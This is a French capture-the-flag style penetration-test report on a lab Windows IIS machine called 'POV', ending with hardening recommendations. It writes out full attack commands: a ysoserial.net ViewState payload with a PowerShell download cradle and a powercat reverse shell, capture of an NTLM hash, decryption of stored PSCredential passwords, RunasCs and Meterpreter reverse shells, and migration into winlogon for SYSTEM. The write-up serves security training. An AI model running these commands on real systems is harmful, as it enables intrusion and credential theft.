

Rapport de Test d'Intrusion

Machine cible : **POV** — Environnement d'entraînement de type Active Directory / IIS

Cible	10.129.230.183 (pov.htb)
Type	Machine Windows autonome (IIS + ASP.NET WebForms)
Objectif	Obtenir un accès initial, élever les privilèges jusqu'à SYSTEM
Méthodologie	Reconnaissance → Exploitation web (ViewState) → Vol d'identifiants → Élévation locale

1. Reconnaissance et énumération

La première étape consiste à cartographier les services exposés par la cible avec un scan de ports complet et une détection de versions (*nmap -sVC -p- 10.129.230.183*). Le résultat montre un seul port TCP ouvert : le port 80, servant un site IIS 10.0 sous Windows, avec un nom d'hôte HTTP révélé dans l'en-tête : **pov.htb**. Le scan signale aussi que la méthode HTTP TRACE est activée, ce qui est une mauvaise pratique mais non exploitée ici.

```
$ nmap -sVC -p- 10.129.230.183
80/tcp open  http      Microsoft IIS httpd 10.0
|_http-title: pov.htb
|_http-methods: Potentially risky methods: TRACE
Service Info: OS: Windows
```

Le site principal sur pov.htb est une page vitrine assez statique ('A New Way To Start Business'). Comme il est fréquent que les environnements IIS hébergent plusieurs sites virtuels sur la même IP, une recherche de sous-domaines (vhost fuzzing) est effectuée avec **ffuf**, en injectant l'en-tête *Host: FUZZ.pov.htb* et une liste de noms courants.

```
$ ffuf -u http://pov.htb -H "Host: FUZZ.pov.htb" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
-fs 12330

dev      [Status: 302, Size: 152, Words: 9, Lines: 2, Duration: 36ms]
```

Un sous-domaine **dev.pov.htb** répond avec une redirection (302), ce qui indique l'existence d'une seconde application, probablement un environnement de développement, souvent moins durci que le site de production.

2. Découverte de la surface d'attaque web

Après ajout de l'entrée correspondante dans */etc/hosts*, dev.pov.htb affiche le portfolio d'un développeur fictif, **Stephen Fitz**, avec une section « Download CV ». Il s'agit d'une application ASP.NET WebForms classique (postbacks côté serveur, ViewState signé). L'inspection du bouton de téléchargement via les outils de développement révèle qu'il appelle en JavaScript :

```
javascript:__doPostBack('download','1')
```

Ce mécanisme (*__doPostBack*) est caractéristique des postbacks ASP.NET : le clic déclenche un formulaire POST contenant les champs cachés **__EVENTTARGET**, **__EVENTARGUMENT** et surtout **__VIEWSTATE** / **__VIEWSTATEGENERATOR**. Le ViewState est une structure sérialisée .NET signée (et généralement chiffrée) qui, si un attaquant obtient les clés de validation/chiffrement du serveur (*machineKey*), peut être forgée pour exécuter du code arbitraire lors de sa désérialisation côté serveur.

2.1 Interception et manipulation de la requête (Burp Suite)

La requête de téléchargement est interceptée avec Burp Suite Repeater. Un paramètre additionnel **file** est identifié dans le corps de la requête, permettant de spécifier un chemin de fichier à télécharger côté serveur. En testant un chemin UNC pointant vers la machine de l'attaquant (`\\10.10.15.112\test`), le serveur répond par une redirection HTTP 302 — ce qui indique que le serveur a tenté d'accéder à cette ressource distante.

```
__EVENTTARGET=download&__EVENTARGUMENT=&__VIEWSTATE=...&
__VIEWSTATEGENERATOR=8E0F0FA3&__EVENTVALIDATION=...&file=\\10.10.15.112\test

HTTP/1.1 302 Found
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
```

En parallèle, un outil d'écoute SMB/authentification (**Responder**) est lancé sur la machine attaquante. La tentative du serveur d'accéder au chemin UNC force une authentification NTLM sortante, qui est capturée par Responder : un hash NTLMv2-SSP est intercepté pour le compte **POV\sfitz**. Ce type de fuite (forced authentication) confirme que l'application traite des chemins UNC côté serveur, une piste intéressante mais qui n'est pas directement exploitée pour l'accès initial ici — elle sert surtout à confirmer la présence d'un compte de service *sfitz*.

```
[SMB] NTLMv2-SSP Username : POV\sfitz
[SMB] NTLMv2-SSP Hash      : sfitz::POV:9ddd85f01ceaca46:...
```

3. Exploitation : désérialisation du ViewState .NET

La piste principale d'exploitation exploite une vulnérabilité connue des applications ASP.NET dont les clés de machine (*validationKey* / *decryptionKey*) ont fuité ou sont prévisibles/exposées (par exemple via un fichier de configuration accessible ou une erreur applicative). Une fois ces clés connues, l'outil **ysoserial.net** permet de forger un ViewState malveillant en utilisant un gadget de désérialisation (ici **TypeConfuseDelegate**), qui exécute une commande arbitraire dès que le serveur désérialise le ViewState reçu dans la requête.

```
$ wine ysoserial.exe -p ViewState -g TypeConfuseDelegate \
  -c "powershell.exe -c IEX(New-Object System.Net.WebClient).\"
    "DownloadString('http://10.10.15.112:8000/powercat.ps1');" \
    "powercat -c 10.10.15.112 -p 4477 -e cmd" \
  --path="/portfolio" --apppath="/" \
  --validationlg="SHA1" \
  --validationkey=5620D3D0...16633468 \
  --decryptionlg="AES" \
  --decryptionkey=74477CEBDD...F347183B43 | tr -d '\n'
```

La charge générée (un ViewState encodé en URL) est ensuite injectée dans le champ **__VIEWSTATE** d'une requête POST vers `/portfolio/default.aspx`. Lors de la désérialisation côté serveur, le gadget **TypeConfuseDelegate** détourne l'exécution pour lancer PowerShell, qui télécharge un stager **powercat.ps1** hébergé sur un serveur HTTP de l'attaquant, puis établit une connexion sortante (reverse shell) vers le port 4477.

```
$ nc -lvnp 4477
Connection received on 10.129.230.183 49672
Microsoft Windows [Version 10.0.17763.5329]
c:\windows\system32\inetsrv>whoami /priv
SeChangeNotifyPrivilege      Bypass traverse checking    Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
```

Le shell obtenu s'exécute dans le contexte du pool d'applications IIS (`C:\windows\system32\inetsrv`), avec des privilèges très limités — il s'agit d'un compte de service, pas encore d'un utilisateur du domaine/local à part entière.

4. Mouvement latéral : vol d'identifiants stockés

En explorant le système de fichiers, un fichier **connection.xml** est découvert dans `C:\Users\sfitz\Documents`. Ce format est caractéristique d'un objet PowerShell **PSCredential** exporté avec *Export-CliXml* : il contient un nom d'utilisateur en clair et un mot de passe chiffré via la **DPAPI** de Windows (chiffrement lié au profil utilisateur/machine).

```
C:\Users\sfitz\Documents>type connection.xml
<Obj Version="1.1.0.1" ...>
  <Obj RefId="0">
    <TN RefId="0"><T>System.Management.Automation.PSCredential</T></TN>
    <Props>
      <S N="UserName">alaading</S>
      <SS N="Password">01000000d08c9ddf...</SS>
    </Props>
  </Obj>
</Obj>
```

Comme la DPAPI est liée au contexte utilisateur/machine, il faut réimporter ce fichier depuis une session PowerShell exécutée sur la machine cible elle-même (le déchiffrement échoue depuis l'extérieur). Une fois *Import-CliXml* exécuté localement, le mot de passe en clair du compte **alaading** est récupéré via *GetNetworkCredential()*.

```
PS> $cred = Import-CliXml -Path connection.xml
PS> $cred.GetNetworkCredential().Password
f8gQ8fynP44ek1m3
```

Avec ces identifiants, l'outil **RunasCs.exe** (téléchargé depuis un serveur HTTP contrôlé par l'attaquant) permet de créer un nouveau processus sous l'identité d'*alaading*, en contournant les limitations classiques de *runas.exe* (qui exige une session interactive). Un reverse shell PowerShell est renvoyé vers le port 9221.

```
PS> curl http://10.10.15.112:9001/RunasCs.exe -o RunasCS.exe
PS> .\RunasCs.exe alaading f8gQ8fynP44ek1m3 powershell.exe -r 10.10.15.112:9221

$ nc -lvnp 9221
PS C:\Windows\system32> whoami
pov\alaading
```

Le flag utilisateur est alors récupéré :

■ **user.txt** `ae5229ff1317fc056e2e3bdd5da0cad0`

5. Élévation de privilèges vers SYSTEM

Une vérification des privilèges du nouvel utilisateur montre que **SeDebugPrivilege** est actif. Ce privilège permet d'ouvrir un handle sur n'importe quel processus du système (y compris ceux tournant en SYSTEM) afin d'y injecter du code — c'est une voie d'élévation de privilèges classique sous Windows.

```
PS C:\Users\alaading\Desktop> whoami /priv
SeDebugPrivilege           Debug programs             Enabled
SeChangeNotifyPrivilege    Bypass traverse checking    Enabled
```

Un exécutable de reverse shell (*revshell.exe*) est transféré et exécuté afin d'obtenir une session Meterpreter via Metasploit (payload *windows/meterpreter/reverse_tcp*). Une fois la session Meterpreter établie sous le contexte *alaading*, elle est migrée vers le processus **winlogon.exe** (PID 536), qui s'exécute en tant que SYSTEM. Grâce à **SeDebugPrivilege**, cette migration réussit et le shell final hérite du contexte SYSTEM.

```
msf > use payload/windows/meterpreter/reverse_tcp
msf > set LHOST 10.10.15.112; set LPORT 4000; exploit
[*] Meterpreter session 1 opened

meterpreter > migrate 536
```

```
[*] Migrating from 2900 to 536...  
[*] Migration completed successfully.  
meterpreter > shell  
C:\Windows\system32>whoami  
nt authority\system
```

Le flag administrateur / root est ensuite lu depuis le bureau de l'Administrateur :

```
■ root.txt 3fab03201ba522cbb779065e0ef12a8c
```

6. Synthèse et recommandations

- Ne jamais exposer de machineKey (validationKey/decryptionKey) ASP.NET codées en dur ou réutilisées entre environnements — utiliser la génération automatique et unique par serveur/déploiement.
- Activer le chiffrement du ViewState avec une protection MAC forte et surveiller les tentatives de désérialisation invalides (EventValidation).
- Désactiver les méthodes HTTP non nécessaires telles que TRACE.
- Éviter de stocker des identifiants via Export-CliXml sur des postes accessibles par des comptes de service peu privilégiés ; préférer un coffre-fort de secrets (vault).
- Limiter l'attribution de SeDebugPrivilege aux comptes qui en ont strictement besoin, et surveiller les migrations de processus vers des processus système sensibles (winlogon.exe, lsass.exe).
- Mettre en place une détection des authentifications NTLM sortantes non sollicitées (forced auth via chemins UNC) pour repérer les tentatives de capture d'identifiants (Responder-style attacks).